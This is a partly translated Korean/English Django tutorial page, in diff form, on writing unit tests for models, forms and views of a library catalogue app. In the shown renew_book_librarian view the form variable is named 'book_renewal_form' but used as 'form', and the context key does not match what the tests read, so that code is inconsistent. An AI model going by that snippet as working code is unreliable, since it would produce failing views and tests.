Note: 우리는 가능한 모든 테스트를 작성하지는 않을 것입니다. 하지만 아래의 예제만으로도 테스트가 어떻게 동작하는지와 어떤 테스트를 작성할 수 있을지 아이디어를 얻을 수 있을 것입니다.

+
+ +

모델

+ +

위에서 논의했듯이 우리는 우리가 디자인 했거나, 우리가 작성한 코드의 동작만을 테스트해야하지 Django 또는 Python 개발팀에서 이미 테스트 한 라이브러리 / 코드는 테스트하지 않아야 합니다.

+ +

예를 들어, 아래 Author 모델을 봅시다. 여기서 우리는 모든 필드의 라벨을 테스트해야 합니다. 우리가 필드의 라벨을 지정하지는 않았지만 우리의 디자인은 라벨의 값이 어때야하는지를 이미 정해놓고 있기 때문입니다. 우리가 이 값들을 테스트하지 않는다면 필드 라벨에 의도된 값을 가지는지 알 수 없습니다. 마찬가지로 비록 우리는 Django가 필드들을 지정된 길이대로 만들 것이라고 믿지만, 그래도 필드의 길이를 테스트해보는 것이 헛되지는 않습니다.

+ +
class Author(models.Model):
+    first_name = models.CharField(max_length=100)
+    last_name = models.CharField(max_length=100)
+    date_of_birth = models.DateField(null=True, blank=True)
+    date_of_death = models.DateField('Died', null=True, blank=True)
+
+    def get_absolute_url(self):
+        return reverse('author-detail', args=[str(self.id)])
+
+    def __str__(self):
+        return f'{self.last_name}, {self.first_name}'
+ +

/catalog/tests/test_models.py 을 열어서 기존 코드를 다음의 Author 모델 테스트 코드로 바꿔주세요.

+ +

먼저 우리는 TestCase 를 불러온 후 이를 상속해서 우리의 테스트 케이스인 AuthorModelTest 를 작성합니다. 테스트가 실패할 경우 출력에서 테스트 명을 쉽게 파악할 수 있도록 이름을 작성한 것에 주목해 주세요. 또 우리는 setUpTestData()를 불러서 테스트 시에 이용되지만 수정은 가하지 않는 저자 객체를 생성합니다. 

+ +
from django.test import TestCase
+
+from catalog.models import Author
+
+class AuthorModelTest(TestCase):
+    @classmethod
+    def setUpTestData(cls):
+        # Set up non-modified objects used by all test methods
+        Author.objects.create(first_name='Big', last_name='Bob')
+
+    def test_first_name_label(self):
+        author = Author.objects.get(id=1)
+        field_label = author._meta.get_field('first_name').verbose_name
+        self.assertEquals(field_label, 'first name')
+
+    def test_date_of_death_label(self):
+        author=Author.objects.get(id=1)
+        field_label = author._meta.get_field('date_of_death').verbose_name
+        self.assertEquals(field_label, 'died')
+
+    def test_first_name_max_length(self):
+        author = Author.objects.get(id=1)
+        max_length = author._meta.get_field('first_name').max_length
+        self.assertEquals(max_length, 100)
+
+    def test_object_name_is_last_name_comma_first_name(self):
+        author = Author.objects.get(id=1)
+        expected_object_name = f'{author.last_name}, {author.first_name}'
+        self.assertEquals(expected_object_name, str(author))
+
+    def test_get_absolute_url(self):
+        author = Author.objects.get(id=1)
+        # This will also fail if the urlconf is not defined.
+        self.assertEquals(author.get_absolute_url(), '/catalog/author/1')
+ +

필드 테스트들은 필드 라벨의 값(verbose_name)을 확인하고 character 필드의 크기가 예상대로인지를 확인합니다. 이들 테스트 메소드의 변수명은 모두 메소드의 기능을 묘사하고 있으며 같은 규칙을 따릅니다.

+ +
# Get an author object to test
+author = Author.objects.get(id=1)
+
+# Get the metadata for the required field and use it to query the required field data
+field_label = author._meta.get_field('first_name').verbose_name
+
+# Compare the value to the expected result
+self.assertEquals(field_label, 'first name')
+ +

몇 가지 흥미로운 점들이 있습니다:

+ + + +
+

Note: last_name 과 date_of_birth 필드의 라벨에 대한 테스트와 last_name 필드의 길이에 대한 테스트는 생략되었습니다. 기존 테스트의 이름 작성 규칙 (naming convention)과 테스트 작성법을 이용해서 직접 테스트를 작성해보세요. 

+
+ +

우리는 우리가 작성한 메서드도 테스트를 해야 합니다. 객체의 이름이 우리가 예상한 대로 "Last Name", "First Name" 규칙에 맞게 생성되었는지와  Author 객체의 URL이 우리가 예상한 대로 생성되는지를 보면 됩니다. 

+ +
def test_object_name_is_last_name_comma_first_name(self):
+    author = Author.objects.get(id=1)
+    expected_object_name = f'{author.last_name}, {author.first_name}'
+    self.assertEquals(expected_object_name, str(author))
+
+def test_get_absolute_url(self):
+    author = Author.objects.get(id=1)
+    # This will also fail if the urlconf is not defined.
+    self.assertEquals(author.get_absolute_url(), '/catalog/author/1')
+ +

테스트들을 돌려봅시다. Author 모델을 앞선 튜토리얼에 따라 만들었다면 아마 다음과 같이 date_of_death 라벨에 대한 에러가 나올 것입니다. 이 테스트는 라벨명이 라벨의 첫글자를 대문자로 처리하지 않는 장고의 컨벤션에 따라 생성된 것을 가정했기 때문에 실패합니다.

+ +
======================================================================
+FAIL: test_date_of_death_label (catalog.tests.test_models.AuthorModelTest)
+----------------------------------------------------------------------
+Traceback (most recent call last):
+  File "D:\...\locallibrary\catalog\tests\test_models.py", line 32, in test_date_of_death_label
+    self.assertEquals(field_label,'died')
+AssertionError: 'Died' != 'died'
+- Died
+? ^
++ died
+? ^
+ +

이는 아주 사소한 버그이지만, 테스트를 작성하는 것이 코드를 작성할 때 하는 가정들을 얼마나 꼼꼼히 체크하는지를 보여줍니다. 

+ +
+

Note:  date_of_death 필드의 라벨을 (/catalog/models.py)  "died" 로 바꾸고 테스트를 다시 돌려보세요.

+
+ +

다른 모델을 테스트하는 패턴도 이와 비슷하므로 여기서는 더 다루지 않겠습니다. 다른 모델에 대한 테스트 코드도 직접 작성해 보세요.

+ +

Forms

+ +

Forms를 테스트 하는 것은 모델을 테스트 하는 것과 비슷합니다; 당신이 만들고 디자인한 세세한 모든 것들은 테스트가 필요하며, 프레임워크나 써드 파티 라이브러리 등에 대해서는 테스트를 작성하지 않아도 좋습니다.

+ +

따라서 폼에 대한 테스트 코드를 작성할 때는 보통 폼이 우리가 원하는 필드를 가지고 있는지, 그리고 이들 필드들이 적절한 라벨과 도움말과 함께 나타나는지를 테스트하면 됩니다. 직접 별도의 필드와 검증 로직을 작성하지 않은 이상 장고가 필드 타입을 제대로 검증하는지는 테스트 하지 않아도 됩니다 - 예를 들어 이메일 필드가 정말로 이메일 주소 값만을 받아들이는지 직접 테스트 할 필요가 없습니다. 하지만 필드에 대한 다른 추가적인 유효성 검증 로직과 다른 에러 메시지에 대해서는 테스트가 필요합니다.

+ +

책 정보를 갱신하기 위한 우리의 Form을 생각해봅시다. 이 Form은 갱신 날짜를 위한 하나의 필드를 가지고 있으며 해당 필드는 우리가 테스트해야 할 라벨과 도움말을 가지고 있습니다.

+ +
class RenewBookForm(forms.Form):
+    """Form for a librarian to renew books."""
+    renewal_date = forms.DateField(help_text="Enter a date between now and 4 weeks (default 3).")
+
+    def clean_renewal_date(self):
+        data = self.cleaned_data['renewal_date']
+
+        # Check if a date is not in the past.
+        if data < datetime.date.today():
+            raise ValidationError(_('Invalid date - renewal in past'))
+
+        # Check if date is in the allowed range (+4 weeks from today).
+        if data > datetime.date.today() + datetime.timedelta(weeks=4):
+            raise ValidationError(_('Invalid date - renewal more than 4 weeks ahead'))
+
+        # Remember to always return the cleaned data.
+        return data
+ +

/catalog/tests/test_forms.py 을 열어서 기존 코드를 아래의 RenewBookForm 테스트 코드로 바꿔주세요. 아래 코드는 우선 우리의 Form과 시간에 관련한 로직 테스트를 도와줄 파이썬 및 장고 라이브러리를 불러옵니다. 그리고 우리는 모델을 테스트 했을 때와 마찬가지로 Form 테스트 클래스를 선언하고, 마찬가지로 테스트의 목적과 기능을 알려주는 이름을 지어줬습니다.

+ +
import datetime
+
+from django.test import TestCase
+from django.utils import timezone
+
+from catalog.forms import RenewBookForm
+
+class RenewBookFormTest(TestCase):
+    def test_renew_form_date_field_label(self):
+        form = RenewBookForm()
+        self.assertTrue(form.fields['renewal_date'].label == None or form.fields['renewal_date'].label == 'renewal date')
+
+    def test_renew_form_date_field_help_text(self):
+        form = RenewBookForm()
+        self.assertEqual(form.fields['renewal_date'].help_text, 'Enter a date between now and 4 weeks (default 3).')
+
+    def test_renew_form_date_in_past(self):
+        date = datetime.date.today() - datetime.timedelta(days=1)
+        form = RenewBookForm(data={'renewal_date': date})
+        self.assertFalse(form.is_valid())
+
+    def test_renew_form_date_too_far_in_future(self):
+        date = datetime.date.today() + datetime.timedelta(weeks=4) + datetime.timedelta(days=1)
+        form = RenewBookForm(data={'renewal_date': date})
+        self.assertFalse(form.is_valid())
+
+    def test_renew_form_date_today(self):
+        date = datetime.date.today()
+        form = RenewBookForm(data={'renewal_date': date})
+        self.assertTrue(form.is_valid())
+
+    def test_renew_form_date_max(self):
+        date = timezone.now() + datetime.timedelta(weeks=4)
+        form = RenewBookForm(data={'renewal_date': date})
+        self.assertTrue(form.is_valid())
+ +

앞의 두 함수는 필드의 라벨과 도움말이 예상대로 생성되었는지를 확인합니다. 우리는 필드를 fields 딕셔너리를 통해서 접근했습니다 (e.g. form.fields['renewal_date']). 라벨의 값이 None 인지도 확인해야하는 것을 기억해 두세요. 장고가 올바른 라벨을 렌더하더라도 만약 라벨의 값이 명시적으로 정해지지 않았다면 None 이 반환됩니다.

+ +

나머지 함수들은 폼이 적절한 구간 내에 있는 갱신 일자를 수락하는지와 더불어 부적합한 구간에 있는 일자를 거절하는지를 테스트 합니다. 우리가 테스트용 날짜들을 datetime.timedelta() (몇 일이나 몇 주를 나타냅니다)을 이용해서 현재 날짜 근처로(datetime.date.today() ) 생성하는 것을 기억해두세요. 그리고나서 우리는 폼을 만들고, 데이터를 집어넣고, 데이터가 유효한지를 테스트합니다.

+ +
+

Note: 여기서 우리는 데이터베이스나 테스트 클라이언트를 사용하지 않습니다. SimpleTestCase를 이용해서 테스트 클래스를 만드는 것을 고려해보세요.

+ +

또한 우리는 만약 폼이 유효하지 않을 경우 적절한 에러가 발생하는지 역시 검증해야 합니다. 하지만 보통 이 부분은 view processing의 일부로 처리되기 때문에 다음 섹션에서 다루도록 하겠습니다.

+
+ +

이것이 form에 대한 전부입니다. 비록 다른 폼들이 있지만, 이들은 우리의 클래스 기반 편집 뷰에 의해 생성된 것들이기 때문에 그쪽에서 테스트 되어야 합니다. 테스트를 실행하고 우리의 코드가 여전히 테스트를 통과하는지 확인해 보세요.

+ +

Views

+ +

우리의 뷰 동작을 유효하게 하기 위해서 우리는 Django test Client를 사용합니다. 이 클래스는 더미 웹 브라우저와 같이 동작하는데, 우리는 URL의 GET 과 POST 요청을 동시에 하여 그 반응을 살핍니다. 우리는 저수준의 HTTP (응답의 헤더와 상태 코드) 부터 HTML을 렌더하기 위한 템플릿, 그리고 우리가 템플릿에 입력하는 컨텍스트 데이터까지 응답에 대한 거의 모든 것을 확인할 수 있습니다. 또한 우리는 (만약 이뤄진다면) redirect가 진행되는 단계와 각 단계에 대한 URL 및 상태 코드 역시 확인할 수 있습니다. 이를 통해서 우리는 각 뷰가 예상된 대로 동작하는지를 확인할 수 있습니다.

+ +

우리의 가장 간단한 뷰 중 하나인 모든 저자들의 목록을 반환하는 뷰부터 시작해봅시다. 이 뷰는 /catalog/authors/ URL(URL 설정 상에서 'authors'로 명명되었습니다) 에서 출력됩니다.

+ +
class AuthorListView(generic.ListView):
+    model = Author
+    paginate_by = 10
+ +

이 뷰가 generic list 뷰이다 보니 거의 모든 것이 장고에 의해서 처리됩니다. 만약 장고를 믿는다면 우리는 오로지 뷰가 올바른 URL과 뷰 이름으로 접근 가능한지만 테스트하면 됩니다. 하지만 만약 테스트 주도 방법론 (TDD)를 따른다면 우리는 (코드를 작성하기 전에) 뷰가 모든 저자들을 10명 씩 paginate해서 보여주는지를 확인하는 테스트부터 작성해야 합니다.

+ +

/catalog/tests/test_views.py를 열어서 기존 코드를 다음의 AuthorListView 테스트 코드로 바꿔주세요. 앞서와 마찬가지로 우리 모델과 유용한 클래스들을 불러옵니다.setUpTestData() 에서는 pagination을 테스트하기 위해 Author 객체 여러 개를 생성합니다.

+ +
from django.test import TestCase
+from django.urls import reverse
+
+from catalog.models import Author
+
+class AuthorListViewTest(TestCase):
+    @classmethod
+    def setUpTestData(cls):
+        # Create 13 authors for pagination tests
+        number_of_authors = 13
+
+        for author_id in range(number_of_authors):
+            Author.objects.create(
+                first_name=f'Christian {author_id}',
+                last_name=f'Surname {author_id}',
+            )
+
+    def test_view_url_exists_at_desired_location(self):
+        response = self.client.get('/catalog/authors/')
+        self.assertEqual(response.status_code, 200)
+
+    def test_view_url_accessible_by_name(self):
+        response = self.client.get(reverse('authors'))
+        self.assertEqual(response.status_code, 200)
+
+    def test_view_uses_correct_template(self):
+        response = self.client.get(reverse('authors'))
+        self.assertEqual(response.status_code, 200)
+        self.assertTemplateUsed(response, 'catalog/author_list.html')
+
+    def test_pagination_is_ten(self):
+        response = self.client.get(reverse('authors'))
+        self.assertEqual(response.status_code, 200)
+        self.assertTrue('is_paginated' in response.context)
+        self.assertTrue(response.context['is_paginated'] == True)
+        self.assertTrue(len(response.context['author_list']) == 10)
+
+    def test_lists_all_authors(self):
+        # Get second page and confirm it has (exactly) remaining 3 items
+        response = self.client.get(reverse('authors')+'?page=2')
+        self.assertEqual(response.status_code, 200)
+        self.assertTrue('is_paginated' in response.context)
+        self.assertTrue(response.context['is_paginated'] == True)
+        self.assertTrue(len(response.context['author_list']) == 3)
+ +

모든 테스트는 TestCase를 상속한 우리 테스트 클래스에 있는 클라이언트를 이용해서 GET 요청을 하고 그에 따른 응답을 받습니다. 첫번째 테스트는 특정 URL (도메인이 아닌 상대 경로임을 기억하세요) 을 확인하고 두번째 테스트는 URL 설정에서 설정해준 뷰의 이름에서 얻은 URL을 확인합니다.

+ +
response = self.client.get('/catalog/authors/')
+response = self.client.get(reverse('authors'))
+ +

응답을 받으면 우리는 응답에서 상태 코드, 사용된 템플릿, pagination이 되었는지 여부, 반환된 객체의 갯수, 그리고 전체 아이템의 갯수를 확인합니다.

+ +

우리가 검증하는 변수 중 가장 흥미로운 변수는 바로 response.context로 뷰에 의해서 템플릿에 전달되는 context 변수입니다. 이는 템플릿이 필요한 모든 데이터를 받는지를 검증할 수 있게 해주기 때문에 테스팅에 정말 유용합니다. 즉 우리는 어떤 템플릿이 사용되고 또 어떤 데이터가 템플릿에 전달되는지를 확인할 수 있기 때문에 자신있게 렌더링에 관한 나머지 문제들은 오로지 템플릿의 문제라고 생각할 수 있습니다.

+ +

로그인한 사용자에게만 보이는 뷰

+ +

종종 우리는 로그인 한 사용자에게만 보이는 뷰를 테스트하고 싶습니다. 예를 들어서 LoanedBooksByUserListView는 방금 테스트한 뷰와 비슷하지만 로그인한 유저만 접근할 수 있으며, 현재 유저가 대출한, '대출 중' 상태의 BookInstance 만 보여주며 가장 오래된 것 부터 먼저 보여줍니다.

+ +
from django.contrib.auth.mixins import LoginRequiredMixin
+
+class LoanedBooksByUserListView(LoginRequiredMixin, generic.ListView):
+    """Generic class-based view listing books on loan to current user."""
+    model = BookInstance
+    template_name ='catalog/bookinstance_list_borrowed_user.html'
+    paginate_by = 10
+
+    def get_queryset(self):
+        return BookInstance.objects.filter(borrower=self.request.user).filter(status__exact='o').order_by('due_back')
+ +

아래 코드를  /catalog/tests/test_views.py  에 추가해주세요. 여기서 우리는 SetUp() 을 이용해서 계정을 생성한 다음 테스트에 사용할 BookInstance 객체와 관련된 책 및 기타 정보를 생성합니다. 각각의 테스트 계정에 의해서 책이 반반씩 대출되었지만 일단 우리는 모든 책의 상태를 "maintenance"로 설정합니다. 우리는 테스트 하면서 이들 객체들을 수정할 것이기 때문에 setUpTestData() 대신 SetUp()을 사용했습니다.

+ +
+

Note: 아래의 setUp() 코드는 특정 Language의 책을 생성하지만, Language 모델이 이전 튜토리얼에서 도전 과제로 생성되었기 때문에 여러분의 코드에는 존재하지 않을 수 있습니다. 이때는 간단히 Language 객체를 불러오거나 생성하는 코드를 주석처리 해주세요. 같은 작업을 곧 나올 RenewBookInstancesViewTest 에도 해줘야 합니다.

+
+ +
import datetime
+
+from django.utils import timezone
+from django.contrib.auth.models import User # Required to assign User as a borrower
+
+from catalog.models import BookInstance, Book, Genre, Language
+
+class LoanedBookInstancesByUserListViewTest(TestCase):
+    def setUp(self):
+        # Create two users
+        test_user1 = User.objects.create_user(username='testuser1', password='1X<ISRUkw+tuK')
+        test_user2 = User.objects.create_user(username='testuser2', password='2HJ1vRV0Z&3iD')
+
+        test_user1.save()
+        test_user2.save()
+
+        # Create a book
+        test_author = Author.objects.create(first_name='John', last_name='Smith')
+        test_genre = Genre.objects.create(name='Fantasy')
+        test_language = Language.objects.create(name='English')
+        test_book = Book.objects.create(
+            title='Book Title',
+            summary='My book summary',
+            isbn='ABCDEFG',
+            author=test_author,
+            language=test_language,
+        )
+
+        # Create genre as a post-step
+        genre_objects_for_book = Genre.objects.all()
+        test_book.genre.set(genre_objects_for_book) # Direct assignment of many-to-many types not allowed.
+        test_book.save()
+
+        # Create 30 BookInstance objects
+        number_of_book_copies = 30
+        for book_copy in range(number_of_book_copies):
+            return_date = timezone.now() + datetime.timedelta(days=book_copy%5)
+            the_borrower = test_user1 if book_copy % 2 else test_user2
+            status = 'm'
+            BookInstance.objects.create(
+                book=test_book,
+                imprint='Unlikely Imprint, 2016',
+                due_back=return_date,
+                borrower=the_borrower,
+                status=status,
+            )
+
+    def test_redirect_if_not_logged_in(self):
+        response = self.client.get(reverse('my-borrowed'))
+        self.assertRedirects(response, '/accounts/login/?next=/catalog/mybooks/')
+
+    def test_logged_in_uses_correct_template(self):
+        login = self.client.login(username='testuser1', password='1X<ISRUkw+tuK')
+        response = self.client.get(reverse('my-borrowed'))
+
+        # Check our user is logged in
+        self.assertEqual(str(response.context['user']), 'testuser1')
+        # Check that we got a response "success"
+        self.assertEqual(response.status_code, 200)
+
+        # Check we used correct template
+        self.assertTemplateUsed(response, 'catalog/bookinstance_list_borrowed_user.html')
+ +

뷰가 로그인하지 않은 사용자를 로그인 화면으로 redirect 하는 것을 확인하기 위해 우리는  assertRedirects를 사용함을 test_redirect_if_not_logged_in()에서 확인할 수 있습니다. 페이지가 로그인 한 사용자에게 보임을 확인하기 위해서 우리는 테스트 유저로 로그인을 한 후에 페이지에 접근해서 응답의 상태코드가 200번임을 확인합니다 (성공을 의미).

+ +

나머지 테스트 코드는 뷰가 현재 로그인 한 사용자가 대출한 책만을 반환하는지를 검증합니다. 아래의 코드를 위의 테스트 클래스 아래에 붙여 넣어 주세요.

+ +
    def test_only_borrowed_books_in_list(self):
+        login = self.client.login(username='testuser1', password='1X<ISRUkw+tuK')
+        response = self.client.get(reverse('my-borrowed'))
+
+        # Check our user is logged in
+        self.assertEqual(str(response.context['user']), 'testuser1')
+        # Check that we got a response "success"
+        self.assertEqual(response.status_code, 200)
+
+        # Check that initially we don't have any books in list (none on loan)
+        self.assertTrue('bookinstance_list' in response.context)
+        self.assertEqual(len(response.context['bookinstance_list']), 0)
+
+        # Now change all books to be on loan
+        books = BookInstance.objects.all()[:10]
+
+        for book in books:
+            book.status = 'o'
+            book.save()
+
+        # Check that now we have borrowed books in the list
+        response = self.client.get(reverse('my-borrowed'))
+        # Check our user is logged in
+        self.assertEqual(str(response.context['user']), 'testuser1')
+        # Check that we got a response "success"
+        self.assertEqual(response.status_code, 200)
+
+        self.assertTrue('bookinstance_list' in response.context)
+
+        # Confirm all books belong to testuser1 and are on loan
+        for bookitem in response.context['bookinstance_list']:
+            self.assertEqual(response.context['user'], bookitem.borrower)
+            self.assertEqual('o', bookitem.status)
+
+    def test_pages_ordered_by_due_date(self):
+        # Change all books to be on loan
+        for book in BookInstance.objects.all():
+            book.status='o'
+            book.save()
+
+        login = self.client.login(username='testuser1', password='1X<ISRUkw+tuK')
+        response = self.client.get(reverse('my-borrowed'))
+
+        # Check our user is logged in
+        self.assertEqual(str(response.context['user']), 'testuser1')
+        # Check that we got a response "success"
+        self.assertEqual(response.status_code, 200)
+
+        # Confirm that of the items, only 10 are displayed due to pagination.
+        self.assertEqual(len(response.context['bookinstance_list']), 10)
+
+        last_date = 0
+        for book in response.context['bookinstance_list']:
+            if last_date == 0:
+                last_date = book.due_back
+            else:
+                self.assertTrue(last_date <= book.due_back)
+                last_date = book.due_back
+ +

당신은 pagination 역시 테스트 할 수 있습니다. 한 번 해보셨으면 좋겠습니다 :)

+ +

Form을 이용하는 view를 테스트하기

+ +

Form을 이용하는 뷰를 테스트하는 것은 앞선 경우에 비해 살짝 더 복잡합니다. 왜냐면 우리는 코드의 더 다양한 부분을 - 첫 화면, 데이터 유효성 검증이 실패한 화면, 데이터 유효성 검증이 성공한 화면 - 모두를 테스트해야 하기 때문입니다. 다행히 우리는 데이터를 보여주기만 하는 뷰를 테스트 할 때 사용했던 클라이언트를 거의 그대로 사용할 수 있습니다.

+ +

대출을 갱신하기 위한 뷰를 테스트하기 위한 코드를 짜봅시다 (renew_book_librarian()):

+ +
from catalog.forms import RenewBookForm
+
+@permission_required('catalog.can_mark_returned')
+def renew_book_librarian(request, pk):
+    """View function for renewing a specific BookInstance by librarian."""
+    book_instance = get_object_or_404(BookInstance, pk=pk)
+
+    # If this is a POST request then process the Form data
+    if request.method == 'POST':
+
+        # Create a form instance and populate it with data from the request (binding):
+        book_renewal_form = RenewBookForm(request.POST)
+
+        # Check if the form is valid:
+        if form.is_valid():
+            # process the data in form.cleaned_data as required (here we just write it to the model due_back field)
+            book_instance.due_back = form.cleaned_data['renewal_date']
+            book_instance.save()
+
+            # redirect to a new URL:
+            return HttpResponseRedirect(reverse('all-borrowed'))
+
+    # If this is a GET (or any other method) create the default form
+    else:
+        proposed_renewal_date = datetime.date.today() + datetime.timedelta(weeks=3)
+        book_renewal_form = RenewBookForm(initial={'renewal_date': proposed_renewal_date})
+
+    context = {
+        'book_renewal_form': book_renewal_form,
+        'book_instance': book_instance,
+    }
+
+    return render(request, 'catalog/book_renew_librarian.html', context)
+ +

이제 우리는 can_mark_returned permission을 가진 사용자만이 view를 사용할 수 있는지, 그리고 그 사용자들이 가지고 있지 않은  BookInstance  을 수정하려고 시도하면 HTTP 404 에러 페이지로 리다이렉트 되는지 테스트해봐야 합니다. We should check that the initial value of the form is seeded with a date three weeks in the future, and that if validation succeeds we're redirected to the "all-borrowed books" view. As part of checking the validation-fail tests we'll also check that our form is sending the appropriate error messages.

+ +

Add the first part of the test class (shown below) to the bottom of /catalog/tests/test_views.py. This creates two users and two book instances, but only gives one user the permission required to access the view. The code to grant permissions during tests is shown in bold:

+ +
import uuid
+
+from django.contrib.auth.models import Permission # Required to grant the permission needed to set a book as returned.
+
+class RenewBookInstancesViewTest(TestCase):
+    def setUp(self):
+        # Create a user
+        test_user1 = User.objects.create_user(username='testuser1', password='1X<ISRUkw+tuK')
+        test_user2 = User.objects.create_user(username='testuser2', password='2HJ1vRV0Z&3iD')
+
+        test_user1.save()
+        test_user2.save()
+
+        permission = Permission.objects.get(name='Set book as returned')
+        test_user2.user_permissions.add(permission)
+        test_user2.save()
+
+        # Create a book
+        test_author = Author.objects.create(first_name='John', last_name='Smith')
+        test_genre = Genre.objects.create(name='Fantasy')
+        test_language = Language.objects.create(name='English')
+        test_book = Book.objects.create(
+            title='Book Title',
+            summary='My book summary',
+            isbn='ABCDEFG',
+            author=test_author,
+            language=test_language,
+        )
+
+        # Create genre as a post-step
+        genre_objects_for_book = Genre.objects.all()
+        test_book.genre.set(genre_objects_for_book) # Direct assignment of many-to-many types not allowed.
+        test_book.save()
+
+        # Create a BookInstance object for test_user1
+        return_date = datetime.date.today() + datetime.timedelta(days=5)
+        self.test_bookinstance1 = BookInstance.objects.create(
+            book=test_book,
+            imprint='Unlikely Imprint, 2016',
+            due_back=return_date,
+            borrower=test_user1,
+            status='o',
+        )
+
+        # Create a BookInstance object for test_user2
+        return_date = datetime.date.today() + datetime.timedelta(days=5)
+        self.test_bookinstance2 = BookInstance.objects.create(
+            book=test_book,
+            imprint='Unlikely Imprint, 2016',
+            due_back=return_date,
+            borrower=test_user2,
+            status='o',
+        )
+ +

Add the following tests to the bottom of the test class. These check that only users with the correct permissions (testuser2) can access the view. We check all the cases: when the user is not logged in, when a user is logged in but does not have the correct permissions, when the user has permissions but is not the borrower (should succeed), and what happens when they try to access a BookInstance that doesn't exist. We also check that the correct template is used.

+ +
   def test_redirect_if_not_logged_in(self):
+        response = self.client.get(reverse('renew-book-librarian', kwargs={'pk': self.test_bookinstance1.pk}))
+        # Manually check redirect (Can't use assertRedirect, because the redirect URL is unpredictable)
+        self.assertEqual(response.status_code, 302)
+        self.assertTrue(response.url.startswith('/accounts/login/'))
+
+    def test_redirect_if_logged_in_but_not_correct_permission(self):
+        login = self.client.login(username='testuser1', password='1X<ISRUkw+tuK')
+        response = self.client.get(reverse('renew-book-librarian', kwargs={'pk': self.test_bookinstance1.pk}))
+
+        # Manually check redirect (Can't use assertRedirect, because the redirect URL is unpredictable)
+        self.assertEqual(response.status_code, 302)
+        self.assertTrue(response.url.startswith('/accounts/login/'))
+
+    def test_logged_in_with_permission_borrowed_book(self):
+        login = self.client.login(username='testuser2', password='2HJ1vRV0Z&3iD')
+        response = self.client.get(reverse('renew-book-librarian', kwargs={'pk': self.test_bookinstance2.pk}))
+
+        # Check that it lets us login - this is our book and we have the right permissions.
+        self.assertEqual(response.status_code, 200)
+
+    def test_logged_in_with_permission_another_users_borrowed_book(self):
+        login = self.client.login(username='testuser2', password='2HJ1vRV0Z&3iD')
+        response = self.client.get(reverse('renew-book-librarian', kwargs={'pk': self.test_bookinstance1.pk}))
+
+        # Check that it lets us login. We're a librarian, so we can view any users book
+        self.assertEqual(response.status_code, 200)
+
+    def test_HTTP404_for_invalid_book_if_logged_in(self):
+        # unlikely UID to match our bookinstance!
+        test_uid = uuid.uuid4()
+        login = self.client.login(username='testuser2', password='2HJ1vRV0Z&3iD')
+        response = self.client.get(reverse('renew-book-librarian', kwargs={'pk':test_uid}))
+        self.assertEqual(response.status_code, 404)
+
+    def test_uses_correct_template(self):
+        login = self.client.login(username='testuser2', password='2HJ1vRV0Z&3iD')
+        response = self.client.get(reverse('renew-book-librarian', kwargs={'pk': self.test_bookinstance1.pk}))
+        self.assertEqual(response.status_code, 200)
+
+        # Check we used correct template
+        self.assertTemplateUsed(response, 'catalog/book_renew_librarian.html')
+
+ +

아래에 보이는 것처럼 새로운 테스트 방법을 추가해봅시다. 이것은 form의 초기 날짜가 3주 후인지를 확인합니다. 어떻게 우리가 form 필드의 첫 번째 값에 접근하는 것이 가능한지 참고해보세요. (굵게 표시된 부분에서 확인할 수 있습니다.)

+ +
    def test_form_renewal_date_initially_has_date_three_weeks_in_future(self):
+        login = self.client.login(username='testuser2', password='2HJ1vRV0Z&3iD')
+        response = self.client.get(reverse('renew-book-librarian', kwargs={'pk': self.test_bookinstance1.pk}))
+        self.assertEqual(response.status_code, 200)
+
+        date_3_weeks_in_future = datetime.date.today() + datetime.timedelta(weeks=3)
+        self.assertEqual(response.context['form'].initial['renewal_date'], date_3_weeks_in_future)
+ +
+

만약 당신이 class RenewBookForm(forms.Form) 대신에 class RenewBookModelForm(forms.ModelForm) 을 사용한다면, form의 필드명은 'renewal_date' 대신 'due_back'으로 나타날 것입니다.

+
+ +

The next test (add this to the class too) checks that the view redirects to a list of all borrowed books if renewal succeeds. What differs here is that for the first time we show how you can POST data using the client. The post data is the second argument to the post function, and is specified as a dictionary of key/values.

+ +
    def test_redirects_to_all_borrowed_book_list_on_success(self):
+        login = self.client.login(username='testuser2', password='2HJ1vRV0Z&3iD')
+        valid_date_in_future = datetime.date.today() + datetime.timedelta(weeks=2)
+        response = self.client.post(reverse('renew-book-librarian', kwargs={'pk':self.test_bookinstance1.pk,}), {'renewal_date':valid_date_in_future})
+        self.assertRedirects(response, reverse('all-borrowed'))
+
+ +
+

The all-borrowed view was added as a challenge, and your code may instead redirect to the home page '/'. If so, modify the last two lines of the test code to be like the code below. The follow=True in the request ensures that the request returns the final destination URL (hence checking /catalog/ rather than /).

+ +
 response = self.client.post(reverse('renew-book-librarian', kwargs={'pk':self.test_bookinstance1.pk,}), {'renewal_date':valid_date_in_future}, follow=True )
+ self.assertRedirects(response, '/catalog/')
+
+ +

Copy the last two functions into the class, as seen below. These again test POST requests, but in this case with invalid renewal dates. We use assertFormError() to verify that the error messages are as expected.

+ +
    def test_form_invalid_renewal_date_past(self):
+        login = self.client.login(username='testuser2', password='2HJ1vRV0Z&3iD')
+        date_in_past = datetime.date.today() - datetime.timedelta(weeks=1)
+        response = self.client.post(reverse('renew-book-librarian', kwargs={'pk': self.test_bookinstance1.pk}), {'renewal_date': date_in_past})
+        self.assertEqual(response.status_code, 200)
+        self.assertFormError(response, 'form', 'renewal_date', 'Invalid date - renewal in past')
+
+    def test_form_invalid_renewal_date_future(self):
+        login = self.client.login(username='testuser2', password='2HJ1vRV0Z&3iD')
+        invalid_date_in_future = datetime.date.today() + datetime.timedelta(weeks=5)
+        response = self.client.post(reverse('renew-book-librarian', kwargs={'pk': self.test_bookinstance1.pk}), {'renewal_date': invalid_date_in_future})
+        self.assertEqual(response.status_code, 200)
+        self.assertFormError(response, 'form', 'renewal_date', 'Invalid date - renewal more than 4 weeks ahead')
+
+ +

The same sorts of techniques can be used to test the other view.

+ +

Templates

+ +

Django provides test APIs to check that the correct template is being called by your views, and to allow you to verify that the correct information is being sent. There is however no specific API support for testing in Django that your HTML output is rendered as expected.

+ + + +

Django's test framework can help you write effective unit and integration tests — we've only scratched the surface of what the underlying unittest framework can do, let alone Django's additions (for example, check out how you can use unittest.mock to patch third party libraries so you can more thoroughly test your own code).

+ +

While there are numerous other test tools that you can use, we'll just highlight two:

+ + + +

Challenge yourself

+ +

There are a lot more models and views we can test. As a simple task, try to create a test case for the AuthorCreate view.

+ +
class AuthorCreate(PermissionRequiredMixin, CreateView):
+    model = Author
+    fields = '__all__'
+    initial = {'date_of_death':'12/10/2016'}
+    permission_required = 'catalog.can_mark_returned'
+ +

Remember that you need to check anything that you specify or that is part of the design. This will include who has access, the initial date, the template used, and where the view redirects on success.

+ +

Summary

+ +

